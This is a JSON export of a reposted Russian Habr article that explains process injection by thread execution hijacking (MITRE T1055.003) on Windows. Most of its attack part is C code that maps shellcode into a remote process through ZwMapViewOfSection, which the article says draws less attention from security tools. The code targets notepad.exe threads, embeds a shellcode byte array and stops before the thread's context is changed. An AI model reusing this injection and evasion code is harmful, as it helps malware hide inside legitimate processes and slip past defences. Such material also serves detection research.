    \u041c\u044b \u0432\u0435\u0434\u0435\u043c telegram-\u043a\u0430\u043d\u0430\u043b\u00a0AUTHORITY<\/a>, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u0438\u0448\u0435\u043c \u043e\u0431 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u043b\u0438\u043c\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0430\u043c\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c. \u0411\u0443\u0434\u0435\u043c \u0440\u0430\u0434\u044b \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0435<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n
    <\/div>\n

     \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438      https:\/\/habr.com\/ru\/articles\/855710\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
    <\/div>\n
    \n
    \n
    \n
    \n
    \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0442\u0435\u0445\u043d\u0438\u043a\u0443 T1055.003<\/a><\/p>\n
    \u041f\u043e\u0434\u043c\u0435\u043d\u0438\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0442\u043e\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043f\u043e\u0441\u043e\u0431 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0430.<\/p>\n
    \u0412 \u041e\u0421 Windows \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u043e\u0442\u043e\u043a\u0430 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432. \u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u043e\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 rip. \u042d\u0442\u0438\u043c \u0438 \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f.<\/p>\n
    \u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u0432\u044f\u0437\u043a\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 OpenThread, SuspendThread \u0438 GetThreadContext. <\/p>\n
    GetThreadContext \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 2 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430 HANDLE \u0438 LPCONTEXT<\/p>\n
    \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 CONTEXT \u0438\u043c\u0435\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0438\u0434:<\/p>\n
    \nCONTEXT<\/summary>\n
    \n
    typedef struct DECLSPEC_ALIGN(16) DECLSPEC_NOINITALL _CONTEXT {     DWORD64 P1Home;     DWORD64 P2Home;     DWORD64 P3Home;     DWORD64 P4Home;     DWORD64 P5Home;     DWORD64 P6Home;     DWORD ContextFlags;     DWORD MxCsr;     WORD   SegCs;     WORD   SegDs;     WORD   SegEs;     WORD   SegFs;     WORD   SegGs;     WORD   SegSs;     DWORD EFlags;     DWORD64 Dr0;     DWORD64 Dr1;     DWORD64 Dr2;     DWORD64 Dr3;     DWORD64 Dr6;     DWORD64 Dr7;     DWORD64 Rax;     DWORD64 Rcx;     DWORD64 Rdx;     DWORD64 Rbx;     DWORD64 Rsp;     DWORD64 Rbp;     DWORD64 Rsi;     DWORD64 Rdi;     DWORD64 R8;     DWORD64 R9;     DWORD64 R10;     DWORD64 R11;     DWORD64 R12;     DWORD64 R13;     DWORD64 R14;     DWORD64 R15;     DWORD64 Rip;     union {         XMM_SAVE_AREA32 FltSave;         struct {             M128A Header[2];             M128A Legacy[8];             M128A Xmm0;             M128A Xmm1;             M128A Xmm2;             M128A Xmm3;             M128A Xmm4;             M128A Xmm5;             M128A Xmm6;             M128A Xmm7;             M128A Xmm8;             M128A Xmm9;             M128A Xmm10;             M128A Xmm11;             M128A Xmm12;             M128A Xmm13;             M128A Xmm14;             M128A Xmm15;         } DUMMYSTRUCTNAME;     } DUMMYUNIONNAME;     M128A VectorRegister[26];     DWORD64 VectorControl;     DWORD64 DebugControl;     DWORD64 LastBranchToRip;     DWORD64 LastBranchFromRip;     DWORD64 LastExceptionToRip;     DWORD64 LastExceptionFromRip; } CONTEXT, *PCONTEXT;<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n
    \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u0437\u043e\u0432\u043e\u043c GetThreadContext \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0444\u043b\u0430\u0433\u0438 ContextFlags<\/p>\n
    \u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u043b\u0430\u0433\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0432 winnt.h:<\/p>\n
    \n\u0444\u043b\u0430\u0433\u0438<\/summary>\n
    \n
    \u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u043b\u0430\u0433\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0432 winnt.h:   #define CONTEXT_AMD64   0x00100000L  #define CONTEXT_CONTROL         (CONTEXT_AMD64 | 0x00000001L) #define CONTEXT_INTEGER         (CONTEXT_AMD64 | 0x00000002L) #define CONTEXT_SEGMENTS        (CONTEXT_AMD64 | 0x00000004L) #define CONTEXT_FLOATING_POINT  (CONTEXT_AMD64 | 0x00000008L) #define CONTEXT_DEBUG_REGISTERS (CONTEXT_AMD64 | 0x00000010L)  #define CONTEXT_FULL            (CONTEXT_CONTROL | CONTEXT_INTEGER | \\                                  CONTEXT_FLOATING_POINT)  #define CONTEXT_ALL             (CONTEXT_CONTROL | CONTEXT_INTEGER | \\                                  CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | \\                                  CONTEXT_DEBUG_REGISTERS)  #define CONTEXT_XSTATE          (CONTEXT_AMD64 | 0x00000040L) #define CONTEXT_KERNEL_CET      (CONTEXT_AMD64 | 0x00000080L)  #if defined(XBOX_SYSTEMOS)  #define CONTEXT_KERNEL_DEBUGGER     0x04000000L  #endif  #define CONTEXT_EXCEPTION_ACTIVE    0x08000000L #define CONTEXT_SERVICE_ACTIVE      0x10000000L #define CONTEXT_EXCEPTION_REQUEST   0x40000000L #define CONTEXT_EXCEPTION_REPORTING 0x80000000L  \/\/ \/\/ CONTEXT_UNWOUND_TO_CALL flag is set by the unwinder if it \/\/ has unwound to a call site, and cleared whenever it unwinds \/\/ through a trap frame. \/\/  #define CONTEXT_UNWOUND_TO_CALL     0x20000000  <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n
    \u0418 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0442\u0430\u043c \u0436\u0435<\/p>\n
    \n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/summary>\n
    \n
    \/\/ The flags field within this record controls the contents of a CONTEXT \/\/ record. \/\/ \/\/ If the context record is used as an input parameter, then for each \/\/ portion of the context record controlled by a flag whose value is \/\/ set, it is assumed that that portion of the context record contains \/\/ valid context. If the context record is being used to modify a threads \/\/ context, then only that portion of the threads context is modified. \/\/ \/\/ If the context record is used as an output parameter to capture the \/\/ context of a thread, then only those portions of the thread's context \/\/ corresponding to set flags will be returned. \/\/ \/\/ CONTEXT_CONTROL specifies SegSs, Rsp, SegCs, Rip, and EFlags. \/\/ \/\/ CONTEXT_INTEGER specifies Rax, Rcx, Rdx, Rbx, Rbp, Rsi, Rdi, and R8-R15. \/\/ \/\/ CONTEXT_SEGMENTS specifies SegDs, SegEs, SegFs, and SegGs. \/\/ \/\/ CONTEXT_FLOATING_POINT specifies Xmm0-Xmm15. \/\/ \/\/ CONTEXT_DEBUG_REGISTERS specifies Dr0-Dr3 and Dr6-Dr7. \/\/ <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n
    \u0414\u043b\u044f \u043d\u0430\u0448\u0438\u0445 \u0446\u0435\u043b\u0435\u0439 \u0445\u0432\u0430\u0442\u0438\u0442 CONTEXT_CONTROL<\/p>\n
    \u0412 \u043e\u0431\u0449\u0435\u043c \u0432\u0438\u0434\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadID); SuspendThread(hThread); CONTEXT ctx; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); \/* Some context manipulation *\/ SetThreadContext(hThread, &ctx); ResumeThread(hThread);<\/code><\/pre>\n
    \u0417\u0430\u043f\u043e\u043c\u043d\u0438\u043b\u0438, \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0435 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441.<\/p>\n
    \u041e\u0431\u044b\u0447\u043d\u043e \u0434\u043b\u044f \u044d\u0442\u0438\u0445 \u0446\u0435\u043b\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u0432\u044f\u0437\u043a\u0430 \u0432\u0438\u0434\u0430 <\/p>\n
    OpenProcess -> VirtualAlloc -> [VirtualProtect] -> WriteProcessMemory -> CreateRemoteThread<\/p>\n
    \u042d\u0442\u043e \u0441\u043a\u0443\u0447\u043d\u043e \u0438 \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0448\u0443\u043c\u043d\u043e \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u043d\u043e\u0432\u043e\u0435 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0430.<\/p>\n
    \u0412 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430:<\/p>\n
    CreateFileMapping -> OpenProcess -> ZwMapViewOfSection<\/p>\n
    \u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430:<\/p>\n
    HANDLE hMapFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, bufferSize, NULL);  HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, pid);  PVOID remoteBaseAddress = NULL; size_t viewSize = 0;  NTSTATUS status = ZwMapViewOfSection(hMapFile,hProc,&remoteBaseAddress,0,0,NULL,&viewSize,2,0,PAGE_EXECUTE_READ);<\/code><\/pre>\n
    \u0417\u0434\u0435\u0441\u044c \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435 \u0441\u0430\u043c\u044b\u0439 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c. <\/p>\n
    \u0422\u0430\u043a \u043a\u0430\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u0441\u043e\u0437\u0434\u0430\u043d \u0441 \u0444\u043b\u0430\u0433\u043e\u043c PAGE_EXECUTE_READWRITE, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0432\u044b\u0437\u0432\u0430\u0442\u044c MapViewOfFile \u0441 \u0444\u043b\u0430\u0433\u043e\u043c FILE_MAP_WRITE, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043d\u0430\u043c \u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0440\u0430\u0437\u043c\u0430\u043f\u0438\u0442\u044c \u0442\u0443 \u0436\u0435 \u043f\u0430\u043c\u044f\u0442\u044c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435. <\/p>\n
    \u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432 \u043b\u044e\u0431\u043e\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043c\u0435\u043d\u044f\u0442\u044c \u0440\u0430\u0437\u043c\u0430\u043f\u043b\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u043a\u0446\u0438\u044e \u0441 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u044b\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u043c, \u0430 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432 \u043d\u0435\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434. \u041a \u0442\u043e\u043c\u0443 \u0436\u0435, \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0441 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0441 \u0444\u043b\u0430\u0433\u043e\u043c PAGE_EXECUTE_READWRITE \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435, \u044d\u0442\u043e\u0442 \u0441\u043f\u043e\u0441\u043e\u0431 \u043c\u0435\u043d\u0435\u0435 \u0448\u0443\u043c\u043d\u044b\u0439 \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b, \u0442\u0430\u043a \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 rwx \u043f\u0430\u043c\u044f\u0442\u0438 \u2013 \u0446\u0435\u043b\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435.<\/p>\n
    \u0418\u0442\u0430\u043a, \u0441\u043e\u0431\u0435\u0440\u0435\u043c \u0432\u0441\u0435 \u0432\u043e\u0435\u0434\u0438\u043d\u043e. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c:<\/p>\n
      \n
    1. \n
      \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u0441 PAGE_EXECUTE_READWRITE<\/p>\n<\/li>\n
    2. \n
      \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u043f\u0430\u043c\u044f\u0442\u044c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c<\/p>\n<\/li>\n
    3. \n
      \u041f\u043e\u0438\u0441\u043a \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f<\/p>\n<\/li>\n
    4. \n
      \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u043f\u0430\u043c\u044f\u0442\u0438<\/p>\n<\/li>\n
    5. \n
      \u0417\u0430\u043f\u0438\u0441\u044c \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c<\/p>\n<\/li>\n
    6. \n
      \u041f\u043e\u0438\u0441\u043a \u043f\u043e\u0442\u043e\u043a\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430<\/p>\n<\/li>\n
    7. \n
      \u041f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043f\u043e\u0442\u043e\u043a\u0430<\/p>\n<\/li>\n
    8. \n
      \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u043e\u0442\u043e\u043a\u0430<\/p>\n<\/li>\n
    9. \n
      \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0442\u043e\u043a\u0430<\/p>\n<\/li>\n<\/ol>\n
      \u0414\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043f\u043e\u0442\u043e\u043a\u0430 \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044e CreateToolhelp32Snapshot:<\/p>\n
      HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); WCHAR target[] = L\"notepad.exe\";  Thread32First(threadSnapshot, &threadEntry); Process32FirstW(procSnapshot, &processEntry); DWORD lerr = GetLastError(); while (Process32NextW(procSnapshot, &processEntry)) { if (_wcsicmp(processEntry.szExeFile, target) == 0) { while (Thread32Next(threadSnapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {             \/*               Usefull code               *\/ break; } } break; } }<\/code><\/pre>\n
      \u041e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u043c, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u044c \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n
      \n\u041a\u043e\u0434<\/summary>\n
      \n
      #include <windows.h> #include <iostream> #include <TlHelp32.h> typedef NTSTATUS(NTAPI* p_ZwMapViewOfSection)( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect );  int main() { unsigned char code[] = { 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7 }; size_t bufferSize = sizeof(code); HANDLE hMapFile = CreateFileMappingA( INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, bufferSize, NULL );  if (hMapFile == NULL) { return 1; } LPVOID pBuffer = MapViewOfFile( hMapFile, FILE_MAP_WRITE, 0, 0, bufferSize );  if (pBuffer == NULL) { CloseHandle(hMapFile); return 1; }  DWORD old; THREADENTRY32 threadEntry; threadEntry.dwSize = sizeof(THREADENTRY32); PROCESSENTRY32W processEntry; processEntry.dwSize = sizeof(PROCESSENTRY32W); CONTEXT context; context.ContextFlags = CONTEXT_CONTROL; HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);  WCHAR target[] = L\"notepad.exe\"; Thread32First(threadSnapshot, &threadEntry); Process32FirstW(procSnapshot, &processEntry); DWORD lerr = GetLastError(); while (Process32NextW(procSnapshot, &processEntry)) { if (_wcsicmp(processEntry.szExeFile, target) == 0) { while (Thread32Next(threadSnapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, processEntry.th32ProcessID); HANDLE hMapFileDup = 0; HMODULE hNtdll = GetModuleHandleA(\"ntdll.dll\"); p_ZwMapViewOfSection ZwMapViewOfSection = (p_ZwMapViewOfSection)GetProcAddress(hNtdll, \"ZwMapViewOfSection\"); PVOID remoteBaseAddress = NULL; size_t viewSize = 0; NTSTATUS status = ZwMapViewOfSection( hMapFile, hProc, &remoteBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_EXECUTE_READ );<\/code><\/pre>\n<\/div>\n<\/details>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-437560","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/437560","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=437560"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/437560\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=437560"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=437560"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=437560"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}